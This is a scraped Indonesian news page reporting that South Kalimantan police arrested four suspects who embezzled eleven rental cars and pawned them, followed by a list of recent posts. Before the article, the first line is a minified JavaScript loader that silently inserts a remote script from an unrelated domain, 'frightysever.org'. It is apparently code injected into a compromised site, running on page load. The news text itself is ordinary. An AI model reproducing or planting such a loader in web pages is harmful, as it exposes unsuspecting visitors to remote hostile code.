(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kriminal Banjarmasin

‘Larikan’ 11 Mobil Rental, TD Beserta Tiga Penadah Diringkus Polisi


KANALKALIMANTAN.COM, BANJARMASIN – Anggota Subdit III Jatanras Direktorat Reserse Kriminal Umum (Ditreskrimum) Polda Kalsel menangkap empat pelaku penggelapan mobil sewaan atau rental. Keempat pelaku tersebut adalah TD asal kota Banjarbaru, YD asal kota Banjarmasin, EP warga Kabupaten Banjar dan AK warga Kabupaten Batola.

Direktur Reskrimum Polda Kalsel Kombes Pol Sugeng Riyadi SIK didampingi Kabid Humas Polda Kalsel Kombes Pol Mochamad Rifa’i SIK, dan Kasubdit III Jatanras Dit Reskrimum Polda Kalsel Kompol Riza Muttaqin dalam konferensi pers, Kamis (30/7/2020) menuturkan, tersangka TD beserta rekan-rekan menggelapkan sebanyak 11 unit mobil rental dalam waktu 8 bulan.

Pengungkapan kasus penggelapan ini berawal dari laporan korban Amdiz Williemb sang pemilik rental mobil. Ia ditipu oleh pelaku yang menyewa mobil, tapi tidak kunjung kembali.

Modus yang dilakukan pelaku menyewa mobil berbagai jenis kepada korban Amdiz Williemb, untuk proyek dengan melakukan pembayaran sewa secara lancar. Namun setelah waktu yang ditentukan telah habis, mobil tidak kunjung dipulangkan.

 

Dari keterangan korban, kesebelas mobil yang disewa tersangka TD saat dirinya meminta mobil dikembalikan, tersangka cuma bisa janji-janji saja, hingga akhirnya korban melaporkan tersangka TD ke polisi .

Di hadapan polisi, tersangka TD mengaku 11;unit mobil yang disewanya telah dijadikan jaminan utang miliknya dan digadaikan kepada orang lain melalui perantara tersangka lainnya yakni AK, YD dan EP.

Kesebelas unit mobil yang diamankan terang Direktur Reskrimum Polda Kalsel Kombes Pol Sugeng Riyadi diantaranya 1 unit Honda Jazz, 3 unit Toyota Avanza, 2 unit Xpander, 2 unit Toyota Agya, 1 unit Toyota Rush, 1 unit Toyota Innova, serta 1 unit Daihatsu Grand Max yang saat ini masih dalam pencarian oleh anggota Dit Reskrimum Polda Kalsel.


Kabid Humas Polda Kalsel Kombes Pol Mochamad Rifa’i mengatakan keberhasilan jajaran Polda Kalsel mengungkap kasus penggelapan bermodus sewa mobil atas laporan langsung korban Amdiz Williemb terkait penggelapan.

“Masyarakat yang menjadi korban melapor, dan korban bisa mengambil mobil secara gratis dengan menunjukkan surat dokumen bukti kepemilikan mobil,” ungkapnya.

Akibat perbuatan tersebut, kini tersangka TD cs harus mendekam di sel Mapolda Kalsel. Keempat bakal dijerat dengan Pasal 372 Jo 55, 56 KUHP dengan ancaman pidana 4 tahun penjara. (kanalkalimantan.com/bie)

Reporter : Bie
Editor : Kk


Desy Arfianty

Recent Posts

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

29 menit ago

HUT Ke-129, BRI Tawarkan Promo Spesial KPR

KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More

2 jam ago

BRI Hadirkan Banjir Promo di HUT Ke-129, Cek di Sini!

KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More

2 jam ago

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

17 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

18 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

18 jam ago

This website uses cookies.